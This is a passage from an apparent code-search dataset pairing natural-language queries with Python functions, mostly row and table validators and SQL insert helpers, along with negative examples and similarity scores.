linha in tab:\\r\\n if not type(linha)==tuple:\\r\\n return False\\r\\n if len(linha)==3:\\r\\n for num in linha:\\r\\n if not (num in [-1,0,1] and type(num)==int):\\r\\n return False\\r\\n else:\\r\\n return False\\r\\n else:\\r\\n return False\\r\\n return True\",\n \"def __bool__(self):\\n return self.isValid()\",\n \"def _index_row_in(cls, row, parse_list):\\n\\n # Since `row` is a scalar, it need only match the sole entry of one of\\n # the lists in `parse_list`:\\n for tokens in parse_list:\\n if not tokens:\\n continue\\n if len(tokens) > 1:\\n raise ValueError('index row only is scalar')\\n if tokens[0] == '*':\\n return True\\n elif isinstance(tokens[0], (int, long, basestring)):\\n if row == tokens[0]:\\n return True\\n elif type(tokens[0]) == list:\\n if row in tokens[0]:\\n return True\\n elif type(tokens[0]) == slice:\\n i_start = tokens[0].start\\n i_stop = tokens[0].stop\\n if (i_start is None or row >= i_start) and \\\\\\n (i_stop is None or row < i_stop):\\n return True\\n else:\\n continue\\n return False\",\n \"def verify_grid_row_data(self, row_data):\\n return self.verify_grid_row_details(self.vendors_div_id, row_data)\",\n \"def _validate_header(self, header_row):\\n\\n self.logger.info(\\\"Validating header row.\\\")\\n \\n # assume value.\\n is_valid = True\\n\\n # check if @header_row is perfect.\\n required_keys = tuple(self.required_headers.keys())\\n if sorted(header_row) == sorted(required_keys):\\n self.logger.info(\\\"Header is valid.\\\")\\n return is_valid\\n else:\\n self.logger.error(\\\"Header is invalid.\\\")\\n is_valid = False\\n\\n # report on any missing header fields.\\n missing_headers = [header for header in self.required_headers if header not in\\n header_row]\\n if len(missing_headers) != 0:\\n self.logger.warning(\\\"Missing required fields: {}\\\".format(missing_headers))\\n \\n # report on any duplicate fields.\\n duplicate_headers = [header for header in header_row if header_row.count(header) != 1]\\n if len(duplicate_headers) != 0:\\n self.logger.warning(\\\"Found duplicate fields: {}\\\".format(set(duplicate_headers)))\\n\\n # report on any extra fields.\\n extra_headers = [header for header in header_row if header not in \\n self.required_headers]\\n if len(extra_headers) != 0:\\n self.logger.warning(\\\"Found extra fields: {}\\\".format(extra_headers))\\n \\n return is_valid\",\n \"def assertTrue(self, conn, sql):\\n for row in self.get_query_results(conn, sql):\\n self.log.info(\\n \\\"assertTrue:: task: {}, value: {}\\\".format(self.task_id, str(row))\\n )\\n retVals = [int(v) for v in row] # presto returns True/False, convert to 1/0\\n\\n if not all(\\n retVals\\n ): # if any of the col expressions evaluates to False, then exception condition met\\n raise AirflowException(\\n \\\"EtlValidation assertionError: {} from query {}\\\".format(\\n self.task_id, sql\\n )\\n )\",\n \"def validate(ob):\",\n \"def valid_entry(grid, val, row, col):\\n if grid[row][col] != 'x':\\n return False\\n\\n # check subgrid\\n if val in get_subgrid_values(grid, row, col):\\n return False\\n\\n # check same row\\n for c in grid[row]:\\n if c == val:\\n return False\\n\\n # check same col\\n for r in range(len(grid)):\\n if grid[r][col] == val:\\n return False\\n\\n return True\",\n \"def check_rows(self):\\n\\t\\tfor i in range(len(self.board)):\\n\\t\\t\\tpts = 0\\n\\t\\t\\tfor j in range(len(self.board[i])):\\n\\t\\t\\t\\tif self.board[i][j] == self.marker:\\n\\t\\t\\t\\t\\tpts+=1\\n\\t\\t\\tif pts == 3:\\n\\t\\t\\t\\tprint('YOU WON')\\n\\t\\t\\t\\treturn True\",\n \"def validate_bed_format(row):\\n assert len(row) >= 3, 'Bed Files must have at least 3 tab separated fields.'\\n\\n return True\",\n \"def fn(row):\\n if len(row) == 1: return True \\n for xx in product(*(mp.get((x, y), []) for x, y in zip(row, row[1:]))):\\n if fn(xx): return True\\n return False\",\n \"def validate_oee_error_12(self):\\n sql = \\\"\\\"\\\"\\n SELECT b1.* FROM bdeview b1 \\n JOIN bdeview b2 ON b1.rowintable=b2.rowintable-1 \\n WHERE CAST(b1.f11 AS INTEGER) > CAST(b2.f11 AS INTEGER)\\n \\\"\\\"\\\"\\n lines = self.c.execute(sql).fetchall()\\n return lines==[], lines\",\n \"def check_rows(self, win: list) -> bool:\\r\\n for row in self.tags:\\r\\n for j in range(len(row) - len(win) + 1):\\r\\n if win == row[j:j+self.win_condition]:\\r\\n return True\",\n \"def __checkcolumns(self, lista: List[str]) -> True:\\r\\n\\r\\n if isinstance(lista, list) is False:\\r\\n raise TypeError(f\\\"{lista} has to be a list.\\\")\\r\\n if len(lista) != 10:\\r\\n raise ValueError(f\\\"{lista} must have 10 columns\\\")\\r\\n\\r\\n errorlista = []\\r\\n\\r\\n # Regarding 'self.tiposDisponiveis',\\r\\n # Layer and Marked happens on the same column.\\r\\n # if there is 'layer', 'marked' won't show up, and viceversa.\\r\\n # Therefore 'self.tiposDisponiveis' is a list with 11 elements. While 'lista' is a list with 10 elements.\\r\\n\\r\\n for _ in lista:\\r\\n # searching for 'Layer'\\r\\n if self.tiposDisponiveis[0].lower() == _.lower():\\r\\n break\\r\\n else:\\r\\n # if 'Layer' wasn't found, searching for 'Marked'\\r\\n for _ in lista:\\r\\n if self.tiposDisponiveis[1].lower() == _.lower():\\r\\n break\\r\\n else:\\r\\n # If none of the two are present on the line, add to the error list\\r\\n errorlista.append(\\\"Layer Or Marked\\\")\\r\\n \\r\\n # repeat the search for all the remaining required values\\\"\\\"\\\"\\r\\n for _ in range(2, len(self.tiposDisponiveis)-1):\\r\\n for x in lista:\\r\\n if x.lower() == self.tiposDisponiveis[_].lower():\\r\\n break\\r\\n else:\\r\\n # Didn't find this column in the list\\r\\n errorlista.append(f\\\"{self.tiposDisponiveis[_]}\\\")\\r\\n\\r\\n # Raising the errors, if any occurred.\\r\\n if len(errorlista) > 0:\\r\\n raise ValueError(f\\\"{errorlista} <- These columns are missing from format.\\\")\\r\\n\\r\\n # Last column has to be 'Text'\\r\\n if lista[9].lower() != self.tiposDisponiveis[10].lower():\\r\\n raise ValueError(f\\\"{lista[9]} last element has to be 'Text'.\\\")\\r\\n \\r\\n return True\",\n \"def is_valid(array, index):\\n row, column = index\\n return 0 <= row < len(array) and 0 <= column < len(array[row])\",\n \"def validate():\",\n \"def IsValid(self):\\n return False\",\n \"def _pre_check(self) -> bool:\\n if self._fuse_row:\\n rows = (\\n self._tiling.cells_in_row(self._row_idx),\\n self._tiling.cells_in_row(self._row_idx + 1),\\n )\\n else:\\n rows = (\\n self._tiling.cells_in_col(self._col_idx),\\n self._tiling.cells_in_col(self._col_idx + 1),\\n )\\n has_a_long_row = any(len(row) > 1 for row in rows)\\n if has_a_long_row:\\n return False\\n first_cell = next(iter(rows[0]))\\n second_cell = next(iter(rows[1]))\\n cells_are_adjacent = (\\n first_cell[0] == second_cell[0] or first_cell[1] == second_cell[1]\\n )\\n if not cells_are_adjacent:\\n return False\\n same_basis = (\\n self._tiling.cell_basis()[first_cell][0]\\n == self._tiling.cell_basis()[second_cell][0]\\n )\\n if not same_basis:\\n return False\\n self._first_cell = first_cell\\n self._second_cell = second_cell\\n return True\",\n \"def valid_state(line): # line is an instance of Order class\\n state = line.o_state \\n invalid_state = state in app.config.get('ALLOWED_STATES')\\n if invalid_state:\\n rule = 'Allowed states'\\n new_row = Error(e_name=rule, order_key=line.primary_key)\\n line.errors.append(new_row)\\n return False\\n return True\",\n \"def check(self) -> bool:\\n\\n\\t\\treturn all([all(row) for row in self.board])\",\n \"def check(self, row):\\n self.errors = []\\n\\n # checks the row\\n if not row:\\n self.log_error('None object given to consistency checker')\\n return self.errors\\n for key in ['repo_name', 'commit_id']:\\n if key not in row:\\n self.log_error('Row is missing key \\\"{}\\\"'.format(key))\\n return self.errors\\n\\n repo_name = row['repo_name']\\n commit_id = row['commit_id']\\n\\n if not repo_name:\\n self.log_error('Empty repo_name in table')\\n return self.errors\\n\\n if not commit_id:\\n self.log_error(\\\"{0}: empty 'commit_id'\\\".format(repo_name))\\n return self.errors\\n\\n if 'package' not in row or not row['package']:\\n self.log_error(\\\"{0}: 'package' not found\\\".format(repo_name))\\n return self.errors\\n\\n try:\\n manifest = json.loads(row['package'])\\n except Exception as e:\\n self.log_error('{0}: unable to decode \\\"manifest\\\" - {1}'.format(repo_name, e))\\n return self.errors\\n\\n # check manifest\\n try:\\n ConsistencyChecker.check_manifest(manifest)\\n except Exception as e:\\n self.log_error('{0}: {1}'.format(repo_name, e))\\n return self.errors\\n\\n # check formats\\n if not 'formats' in manifest:\\n self.log_error('{0}: manifest missing key \\\"{1}\\\"'.format(repo_name, 'formats'))\\n if not isinstance(manifest['formats'], list):\\n self.log_error(\\\"{0}: manifest key formats must be an array\\\".format(repo_name))\\n\\n return self.errors\",\n \"def _isvalid(self, data):\\n if data is None:\\n return False\\n elif isinstance(data, (list,tuple)):\\n if len(data) <= 0:\\n return False\\n else:\\n return True\\n elif isinstance(data, (np.ndarray)):\\n if data.size <= 0:\\n return False\\n else:\\n return True\\n elif not data:\\n return False\\n else:\\n return True\",\n \"def valid(self) -> bool:\\n are_populated = [bool(getattr(self, fld_nm)) for fld_nm in self.necessary_fields]\\n return all(are_populated)\",\n \"def valid(self):\\n if (self._npix == []\\n or self._gpix == []\\n or self._epix == []\\n or self._ppix == []) :\\n return False\\n return True\",\n \"def check_pivot(self):\\n cur = self.conn.cursor(cursor_factory=psycopg2.extras.DictCursor)\\n cur.execute(\\\"SELECT count(*) as count FROM comuni\\\")\\n if cur.fetchone()['count'] == 0:\\n return False\\n\\n return True\",\n \"def validate_data(self, row, col, value):\\n start = self.data(self.index(row, 1), QtCore.Qt.DisplayRole)\\n stop = self.data(self.index(row, 2), QtCore.Qt.DisplayRole)\\n step = self.data(self.index(row, 3), QtCore.Qt.DisplayRole)\\n isstep = False\\n if col == 1: # the start\\n start = value\\n elif col == 2: # the stop\\n stop = value\\n elif col == 3: # the step\\n isstep = True\\n step = value\\n\\n if np.abs(step) < 1e-12 or start == stop:\\n return False\\n if np.sign(stop - start) != np.sign(step):\\n if isstep:\\n self._data[row][2] = -stop\\n else:\\n self._data[row][3] = -step\\n return True\",\n \"def valid_image(self, image):\\n valid = False\\n if (isinstance(image, list) and len(image) == 11):\\n valid = True\\n for row in image:\\n if (isinstance(row, list) and len(row) == 11):\\n for pixel in row:\\n if not self.valid_color(pixel):\\n valid = False\\n break\\n else:\\n valid = False\\n break\\n if not valid:\\n _LOGGER.error(\\\"Invalid image data received\\\")\\n return valid\",\n \"def test_table_false_positives(self):\\n pass\",\n \"def valid(self):\\n return len(self.missing()) == 0\",\n \"def test_is_primary_data(self):\\n\\n self.validator.adata.obs[\\\"is_primary_data\\\"] = \\\"FALSE\\\"\\n self.validator.validate_adata()\\n self.assertEqual(\\n self.validator.errors,\\n [\\n \\\"ERROR: Column 'is_primary_data' in dataframe 'obs' \\\"\\n \\\"must be boolean, not 'object'.\\\"\\n ],\\n )\",\n \"def is_valid(self):\\n\\n return True\",\n \"def checkStructure(self, result, resultType):\\n res = True\\n if resultType:\\n try:\\n structure = json.loads(resultType)\\n result_structure = self.getStructure(result)\\n res = structure[\\\"type\\\"] == result_structure[\\\"type\\\"] and all(elem in list(result_structure[\\\"columns\\\"])\\n for elem in list(structure[\\\"columns\\\"])) and all(elem in list(result_structure[\\\"indexes\\\"])\\n for elem in list(structure[\\\"indexes\\\"]))\\n except Exception as ex:\\n print(f\\\"Error checking structure: {ex}\\\")\\n\\n return res\",\n \"def getBooleanRow(self, int: int) -> typing.List[bool]:\\n ...\",\n \"def validate(self):\\n validated = True \\n # Check that all parameters exist in the self.parameters dictionary\\n for param_name in self._SCALAR_PARAMETERS:\\n if param_name not in self.parameters:\\n LOG.critical('%s not found in %s', param_name, self.filename)\\n validated = False \\n \\n for param_name in self._TABLE_PARAMETERS:\\n if not all([elem for elem in self.parameters[param_name]]):\\n LOG.critical('%s not found in %s', param_name, self.filename)\\n validated = False\\n \\n return validated\",\n \"def check_row(self, num, num_row):\\n row = self.return_row(num_row)\\n for board_num in row:\\n if num == board_num:\\n return True\\n return False\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7949116","0.7407488","0.7403638","0.73143804","0.72224575","0.71624714","0.7001095","0.68070215","0.6799853","0.6750885","0.6745441","0.6681107","0.668088","0.6449475","0.6376525","0.6330244","0.6321344","0.6238823","0.6232478","0.6229483","0.6198405","0.6197896","0.61791","0.61634654","0.6157614","0.614954","0.6147669","0.612078","0.61164933","0.6088795","0.60627776","0.6045039","0.60314417","0.60276073","0.6010991","0.60047024","0.5970129","0.5956416","0.59504473","0.59385735","0.5938454","0.5935895","0.59203637","0.59086365","0.5886134","0.5883897","0.587998","0.58770496","0.5875484","0.5872002","0.5869016","0.5868152","0.5868093","0.58660644","0.5865841","0.58579195","0.5843891","0.58382845","0.5826189","0.5822858","0.58178926","0.5810252","0.58096564","0.58078015","0.5790271","0.57889384","0.5778981","0.57670426","0.5766776","0.5764974","0.57563066","0.5750325","0.5746427","0.57203436","0.5711563","0.5696903","0.5694096","0.5691874","0.56889844","0.56883293","0.5686062","0.56736106","0.56612176","0.566019","0.5654081","0.56422716","0.56366265","0.56355083","0.5631652","0.56282836","0.5626182","0.5622219","0.5616485","0.5613157","0.5610467","0.5606459","0.56061447","0.5603392","0.56031144","0.5602682"],"string":"[\n \"0.7949116\",\n \"0.7407488\",\n \"0.7403638\",\n \"0.73143804\",\n \"0.72224575\",\n \"0.71624714\",\n \"0.7001095\",\n \"0.68070215\",\n \"0.6799853\",\n \"0.6750885\",\n \"0.6745441\",\n \"0.6681107\",\n \"0.668088\",\n \"0.6449475\",\n \"0.6376525\",\n \"0.6330244\",\n \"0.6321344\",\n \"0.6238823\",\n \"0.6232478\",\n \"0.6229483\",\n \"0.6198405\",\n \"0.6197896\",\n \"0.61791\",\n \"0.61634654\",\n \"0.6157614\",\n \"0.614954\",\n \"0.6147669\",\n \"0.612078\",\n \"0.61164933\",\n \"0.6088795\",\n \"0.60627776\",\n \"0.6045039\",\n \"0.60314417\",\n \"0.60276073\",\n \"0.6010991\",\n \"0.60047024\",\n \"0.5970129\",\n \"0.5956416\",\n \"0.59504473\",\n \"0.59385735\",\n \"0.5938454\",\n \"0.5935895\",\n \"0.59203637\",\n \"0.59086365\",\n \"0.5886134\",\n \"0.5883897\",\n \"0.587998\",\n \"0.58770496\",\n \"0.5875484\",\n \"0.5872002\",\n \"0.5869016\",\n \"0.5868152\",\n \"0.5868093\",\n \"0.58660644\",\n \"0.5865841\",\n \"0.58579195\",\n \"0.5843891\",\n \"0.58382845\",\n \"0.5826189\",\n \"0.5822858\",\n \"0.58178926\",\n \"0.5810252\",\n \"0.58096564\",\n \"0.58078015\",\n \"0.5790271\",\n \"0.57889384\",\n \"0.5778981\",\n \"0.57670426\",\n \"0.5766776\",\n \"0.5764974\",\n \"0.57563066\",\n \"0.5750325\",\n \"0.5746427\",\n \"0.57203436\",\n \"0.5711563\",\n \"0.5696903\",\n \"0.5694096\",\n \"0.5691874\",\n \"0.56889844\",\n \"0.56883293\",\n \"0.5686062\",\n \"0.56736106\",\n \"0.56612176\",\n \"0.566019\",\n \"0.5654081\",\n \"0.56422716\",\n \"0.56366265\",\n \"0.56355083\",\n \"0.5631652\",\n \"0.56282836\",\n \"0.5626182\",\n \"0.5622219\",\n \"0.5616485\",\n \"0.5613157\",\n \"0.5610467\",\n \"0.5606459\",\n \"0.56061447\",\n \"0.5603392\",\n \"0.56031144\",\n \"0.5602682\"\n]","isConversational":false},"document_score":{"kind":"string","value":"0.6529725"},"document_rank":{"kind":"string","value":"13"}}},{"rowIdx":82196,"cells":{"query":{"kind":"string","value":"(obj, list, list, list) > NoneType Inserting one single row to table."},"document":{"kind":"string","value":"def insert_data(self, row, table_fields_names, table_fields_types):\n\n\t\tquery = ''\n\n\t\ttry:\t\t\t\t\n\t\t\tquery = self.form_insert_query(TABLE_NAME, row, table_fields_names, table_fields_types)\n\t\t\t# print query\n\t\t\tself.execute_query(query)\t\t\t\n\t\texcept Exception, e:\t\t\t\t\n\t\t\tprint '[e] Exeption: %s' % (str(e))\n\t\t\tprint '\\t[q] Query that caused exception \\n %s' % (query)\n\t\t\treturn False\n\n\t\treturn True"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["def _insert_table_row(self, db: str, table: str, row: Dict[str, Any]):\n pass","def info_insert(tbl_mgr, table_str, row_arr):\n val_str = \"(\"\n\n for col in range(len(row_arr)):\n if col > 0:\n val_str += \", \"\n if row_arr[col] is None:\n val_str += \"NULL\"\n else:\n val_str += \"'\" + row_arr[col] + \"'\"\n val_str += \")\"\n\n return tbl_mgr.insert_stmt(table_str, val_str)","def insert_row(self, table: str, row_data: dict):\r\n\r\n columns = \"\".join([f\"'{i}',\" for i in row_data]).rstrip(\",\")\r\n keys = \"\".join([f\"'{row_data[i]}',\" for i in row_data]).rstrip(\",\")\r\n sql_statement = f\"INSERT INTO {table} ({columns}) VALUES({keys});\"\r\n try:\r\n self.__cursor(sql_statement)\r\n self.__db_conn.commit()\r\n except sqlite3.Error as error:\r\n print(\"[!] Couldn't add record\")\r\n print(\"[!]\", str(error).capitalize())\r\n return\r\n print(\"[*] Record added successfully.\")","def insert_row(self, tablename, fields):\n insert_params = \"(\" + \",\".join(['?' for x in fields]) + \")\"\n self.cursor.execute(\"insert into \" + tablename + \" values \" +\n insert_params, fields)","def insertRow(self, p_int, *__args): # real signature unknown; restored from __doc__ with multiple overloads\r\n pass","def insert_row(table_str, attribute_value_dict): #works\n sql = make_insert_row(table_str, attribute_value_dict)\n #print sql\n execute_edit_queries(sql)","def add_row(self, row_id):","def insert(db, table, name, row):\n\n # Build insert prepared statement\n columns = [name for name, _ in table.items()]\n insert = INSERT_ROW.format(table=name, columns=\", \".join(columns), values=(\"?, \" * len(columns))[:-2])\n\n try:\n db.execute(insert, values(table, row, columns))\n except Exception as ex:\n print(\"Error inserting row: {}\".format(row), ex)","def singleInsert(self, table_name, fields, field_values, field_types=[]):\n if not self.checkTable(table_name):\n self.createTable(table_name, fields, field_types)\n self.transactionInsert(table_name, fields, field_values)\n self.transactionEnd()","def insert_values():\n pass","def insert(self, data):\r\n pass","def insert(conn, table_info, table_data):\n\n sql = ''' INSERT INTO ''' + table_info \n + ''' VALUES(''' + \"?,\" * (len(table_data)-1) + \"?)\"\n cursor = conn.cursor()\n cursor.execute(sql, table_data)\n conn.commit()","def insert(self, table, *args, **kwargs):\n\n values = None\n query = \"INSERT INTO %s \" % table\n if kwargs:\n keys = kwargs.keys()\n values = kwargs.values()\n query += \"(\" + \",\".join([\"`%s`\"]*len(keys)) % tuple(keys) + \\\n \") VALUES(\" + \",\".join([\"%s\"]*len(values)) + \")\"\n elif args:\n values = args\n query += \" VALUES(\" + \",\".join([\"%s\"]*len(values)) + \")\"\n\n self.__open()\n self.__cursor.execute(query, values)\n self.__connection.commit()\n self.__close()\n return self.__cursor.lastrowid","def insert(self, row):\n if not self.loaded:\n print(\"Database is not loaded\")\n return False\n\n self.rows.append(row)\n return True","def rpc_database_insert_row(self, keys, values):\n\t\tif not isinstance(keys, (list, tuple)):\n\t\t\tkeys = (keys,)\n\t\tif not isinstance(values, (list, tuple)):\n\t\t\tvalues = (values,)\n\t\tassert len(keys) == len(values)\n\t\ttable_name = self.path.split('/')[-2]\n\t\tfor key, value in zip(keys, values):\n\t\t\tassert key in DATABASE_TABLES[table_name]\n\t\ttable = DATABASE_TABLE_OBJECTS.get(table_name)\n\t\tassert table\n\t\tsession = db_manager.Session()\n\t\trow = table()\n\t\tfor key, value in zip(keys, values):\n\t\t\tsetattr(row, key, value)\n\t\tsession.add(row)\n\t\tsession.close()\n\t\treturn","def add_row(self, row):\n ...","def _insert_if_new(cursor, table, data, **kwargs):\n pk_only_data = _subdict(METADATA_PRIMARY_KEYS[table], data, enforce_key_presence=True)\n if not _exists(cursor, table, pk_only_data):\n log('inserting new {}...'.format(table), end='')\n result = _insert_dict(cursor, table, data, **kwargs)\n log('done.')\n return result","def _insert_dict(cursor, table, data, returning=None):\n data = dict(_remove_nones(data))\n cols, vals = _query_fields(data)\n returning_clause = 'RETURNING {}'.format(returning) if returning else ''\n cursor.execute(\n 'INSERT INTO {} ({}) VALUES ({}) {}'.format(table, cols, vals, returning_clause),\n data\n )\n if returning:\n return cursor.fetchone()[returning]","def insert(self, data):\n #Check for multiple row insert and prepare for each\n if isinstance(data, list):\n i = 0\n total = len(data) - 1\n static_total = total\n new_data = data\n multi = True\n inserted = 0\n for x in range(len(new_data)):\n if self.__scrub_data(new_data[x]):\n pass\n else:\n raise Exception('Your insert data is not formatted correctly.')\n #Not multi-insert\n else:\n multi = False\n #if we are doing a multi insert\n if multi:\n #while we still have data to insert\n while total > 0:\n current_line = self.__row_id_in_file(self.current_row)\n #calculate how many lines we will insert on the first loop\n insert_number = int(self.rows_per_page) - int(current_line)\n if insert_number == 0:\n insert_number = int(self.rows_per_page)\n #Check that we aren't at max rows:\n if self.current_row + insert_number > self.max_rows:\n raise Exception('Sorry, the table, \\\"' + self.name + '\\\" can\\'t fit all those rows.')\n #populate first_data based on how many total rows are being inserted and how much room is on data page\n if insert_number < total:\n #grab how many we need to fill the current data page\n first_data = data[:insert_number]\n del data[:insert_number]\n else:\n first_data = data\n #record how many rows we are inserting this time:\n number_rows_to_insert = len(first_data)\n #prepare data\n first_data_string = ''\n first_path = self.__data_file_for_row_id(int(self.current_row) + 1)\n for x in range(len(first_data)):\n self.current_row += 1\n first_data_string = first_data_string + \"{\\\"data\\\": \" + json.dumps(first_data[x]) + \", \\\"row_id\\\": \" + str(self.current_row) + \"}\\n\"\n if self.__multi_append_row(first_data_string, first_path):\n if self.__check_write_success_multi_insert(first_data_string, first_path, number_rows_to_insert, current_line):\n pass\n else:\n raise Exception(\"There was a problem validating the write during multiple row insert.\")\n else:\n raise Exception(\"There was a problem inserting multiple rows.\")\n total -= insert_number\n print(str(static_total) + ' rows have been added.')\n #If not multi-insert\n else:\n self.current_row += 1\n if self.__scrub_data(data):\n row_id = self.current_row\n path = self.__data_file_for_row_id(row_id)\n #Check that we aren't at max rows:\n if self.current_row < self.max_rows:\n if self.__insert_modify_data_file(path, data):\n print('Row ' + str(row_id) + ' has been added.')\n else:\n raise Exception('There was a problem inserting row at ' + str(row_id) +'.')\n else:\n raise Exception('Sorry, the table, \\\"' + self.name + '\\\" is full.')\n else:\n raise Exception('Sorry, the data you tried to insert is invalid.')","def insert(self, table, element):\n\n update = self.update(table, element)\n if update:\n return update\n\n fields = []\n values = []\n for key in element.keys():\n fields.append(key)\n values.append(element[key])\n result = self.__insert(table, fields, values)\n return result","def _insert(self, object_arr):\n _object = None\n\n try:\n if not self._is_session_valid():\n self._reset_session()\n for obj in object_arr:\n obj.setdefault(\"mode\", \"add\")\n\n _object = obj[\"instance\"]\n if obj[\"mode\"] == \"merge\":\n self._merge(_object)\n elif obj[\"mode\"] == \"add\":\n self._add(_object)\n elif obj[\"mode\"] == \"merge_by_query\":\n self._merge_by_query(obj)\n else:\n raise NotImplementedError(\"Invalid mode: {mode}\".format(mode=obj[\"mode\"]))\n self._commit()\n except DatabaseError.ConnectionError:\n raise\n except Exception:\n self._rollback()\n self._reset_session()\n raise","def post_single(self, obj):\n\t\timport MySQLdb\n\t\tobj_copy = {}\n\t\t\n\t\tcolumns = self.db.columns(obj['type'])\n\t\t# copy valid columns\n\t\tfor c in columns:\n\t\t\tif obj.get(c):\n\t\t\t\tobj_copy[c] = obj.get(c)\n\n\t\tparts = {\n\t\t\t'tab': obj['type'],\n\t\t\t'cmd': self.post_action(obj)\n\t\t}\n\n\t\tif parts['cmd'] in ('insert', 'replace'):\n\t\t\tparts['cols'] = '`, `'.join(obj_copy.keys())\n\t\t\tparts['vals'] = ('%s,'*len(obj_copy))[:-1]\n\t\t\tquery = \"\"\"%(cmd)s into `%(tab)s`(`%(cols)s`) \n\t\t\t\tvalues (%(vals)s)\"\"\" % parts\n\t\telse:\n\t\t\tparts['set'] = ', '.join(['`%s`=%s' % (key, '%s') for key in obj_copy.keys()])\n\t\t\tparts['name'] = obj['name'].replace(\"'\", \"\\'\")\n\t\t\tquery = \"\"\"update `%(tab)s` set %(set)s where name='%(name)s'\"\"\" % parts\n\t\t\n\t\tself.db.sql(query, tuple(obj_copy.values()))","def insert(self):\n pass","def test_insert_many_tuple(self):\n table = 'test_insert'\n columns = ['col1', 'col2', 'col3']\n values = [(1, 2, 3), (4, 5, 6), (7, 8, 9)]\n\n with self.dbh.table_recreate(table, columns, 'integer'):\n try:\n self.dbh.insert_many(table, columns, values)\n res = self.dbh.select_all(table, columns)\n except Exception:\n self.dbh.rollback()\n raise\n\n self.assertEqual(res, values)","def _extract_and_insert(cursor, table, data, ignore_if_exists=True, **kwargs):\n if ignore_if_exists:\n return _insert_if_new(cursor, table, _subdict(_columns(cursor, table), data), **kwargs)\n else:\n return _insert_dict(cursor, table, _subdict(_columns(cursor, table), data), **kwargs)","def insert(self):\n sql = u'INSERT INTO %s' % self.table()\n keys = []\n values = []\n format_values = []\n for field in self.fields():\n attr = object.__getattribute__(self, field)\n if attr.auto_value:\n continue\n keys.append(field)\n format_values.append(attr.format)\n values.append(attr._value)\n keys_str = u'( %s )' % u', '.join(keys)\n values_str = u'VALUES( %s )' % u', '.join(format_values)\n sql = '%s %s %s;' % (sql, keys_str, values_str)\n connection.execute(sql, values)\n primary_k = self.__class__.get_primary()\n primary = object.__getattribute__(self, primary_k)\n primary.value = connection.connection.insert_id()","def test_dummydb_add_data_to_table(self):\n db = DummyDB()\n columns = {\n \"one\": int,\n \"two\": str,\n \"three\": bool,\n }\n db.create_table(\"new_table\", columns)\n db.insert(\"new_table\", one=1, two=\"haunted\", three=True)\n result = db.select(\"new_table\", one=1)\n self.assertEqual(result[0]['two'], \"haunted\")","def insertRow(self, row, data):\n newRowData = self.createRowData(data)\n self.jobRow.insertRow(row, newRowData)","def insert(self,table,values):\n self.connect.execute(self.insert_disc[table],values)\n self.connect.commit()","def Insert(self):\n sql = 'INSERT INTO %s ( %s ) VALUES ( %s )' % (\n self.table_name,\n ', '.join(self.values),\n ', '.join(['?' for _ in self.values])\n )\n return Database().Execute(sql, tuple(self.values.values()))","def make_insert_row(table_str, attribute_value_dict): #works\n#Aanpassen zodat query niet uitgevoerd wordt als pk al bestaat\n #initialize input for string formatting\n attributes_string = \"(\"\n values_list = []\n #retrieve attributes and values from dictionary and add them to the string\n for key in attribute_value_dict:\n values_list += [attribute_value_dict[key]]\n attributes_string += \"%s, \" % key\n attributes_string = attributes_string[:(len(attributes_string)-2)]\n attributes_string += ')'\n values = str(tuple(values_list))\n sql = \"\"\"INSERT INTO `%s` %s VALUES %s \"\"\" % (table_str, attributes_string, values)\n return sql","def insert(self, row: BaseTrackerRow) -> None:\n assert isinstance(row, self._tracker_row)\n row = [row.__dict__[\"_\" + col] for col in list(self._table.columns)]\n self._table.loc[len(self._table)] = row","def insert_rows(cursor, table_name, row_dict_list):\n\tkeys = row_dict_list[0].keys()\n\tcolumns = \", \".join(keys)\n\tvalues_template = \", \".join([\"?\"] * len(keys))\n\n\tsql = \"INSERT INTO %s (%s) VALUES (%s)\" % \\\n\t\t(table_name, columns, values_template)\n\ttuples = [tuple(row_dict[key] for key in keys) for row_dict in row_dict_list]\n\tcursor.executemany(sql, tuples)","def insert_to_table(self, tableName, dataRow, colNames):\n queryString = f\"INSERT INTO {tableName} VALUES \"\n # building the Values list\n valueString = \"\"\n # looping \n for value in dataRow:","def insertRows(self, p_int, *__args): # real signature unknown; restored from __doc__ with multiple overloads\r\n pass","def insert(self, data, table, **kwargs):\n logging.info(f'Inserting into `{table}`')\n\n try:\n data.to_sql(table, self.engine, **kwargs)\n try:\n self.execute(f'ALTER TABLE `{table}` ADD PRIMARY KEY (`id`);')\n except:\n pass\n return True\n except:\n logging.exception('Something went wrong inserting. Check trace.')\n return False","def add_entry(db, table, columns, values):\n mycursor = db.cursor()\n\n sql = \"INSERT INTO \" + table + \" (\" + parse_sql_param_from_array(columns) + \") VALUES (\" + parse_sql_param_from_array(values, escape=True) + \")\"\n mycursor.execute(sql)\n\n db.commit()","def test_query_simple_tuple(self):\n tab = 'query_test'\n cols = ['col1', 'col2']\n rows_in = [(1, 2), (2, 4), (3, 6)]\n\n with self.dbh.table_recreate(tab, cols, 'integer'):\n self.dbh.insert_many(tab, cols, rows_in)\n rows_out = self.dbh.query_simple(tab, cols, rowtype=tuple)\n self.assertEqual(set(rows_in), set(rows_out))","def Insert_in_Transaction(db, params):\r\n \r\n try: \r\n db.Transaction.insert_one(\r\n {\r\n \"Open time\": params[0], \r\n \"High\": params[1], \r\n \"Low\": params[2], \r\n \"Open\": params[3], \r\n \"Close\": params[4], \r\n \"Volume\": params[5], \r\n \"Quote asset volume\": params[6], \r\n \"Weighted average\": params[7]\r\n }\r\n )\r\n \r\n except Exception as e:\r\n print(e)","def save(self, data):\n query = \"INSERT INTO {} (title, body, meetup_id, user_id) \\\n VALUES('{}','{}','{}', '{}') RETURNING *\".format(self.table, data['title'], data['body'], data['meetup_id'], data['user_id'])\n self.cur.execute(query)\n result = self.cur.fetchone()\n self.conn.commit()\n return result","def insert_into(self, **kwargs):\n\n if not self.worksheet:\n raise AttributeError('Create a worksheet first!')\n\n ## TODO: Figure out how to get fields out of an empty table!\n #for key in kwargs.keys():\n # if not key in self.fields:\n # raise KeyError('Table does not accept key \"%s\"' % key)\n\n row = Row(self)\n\n row.create(**kwargs)\n\n return row","def insert_record(record, table):\n\n\ttups = [(key, val) for key, val in record.iteritems()]\n\tkeys = [key for key, val in tups]\n\tvals = [val for key, val in tups]\n\n\tconn = get_database_connection(port = 2001)\n\tcursor = conn.cursor()\n\n\tnum_cols = len(keys)\n\tkey_str = ','.join(keys)\n\tval_str = 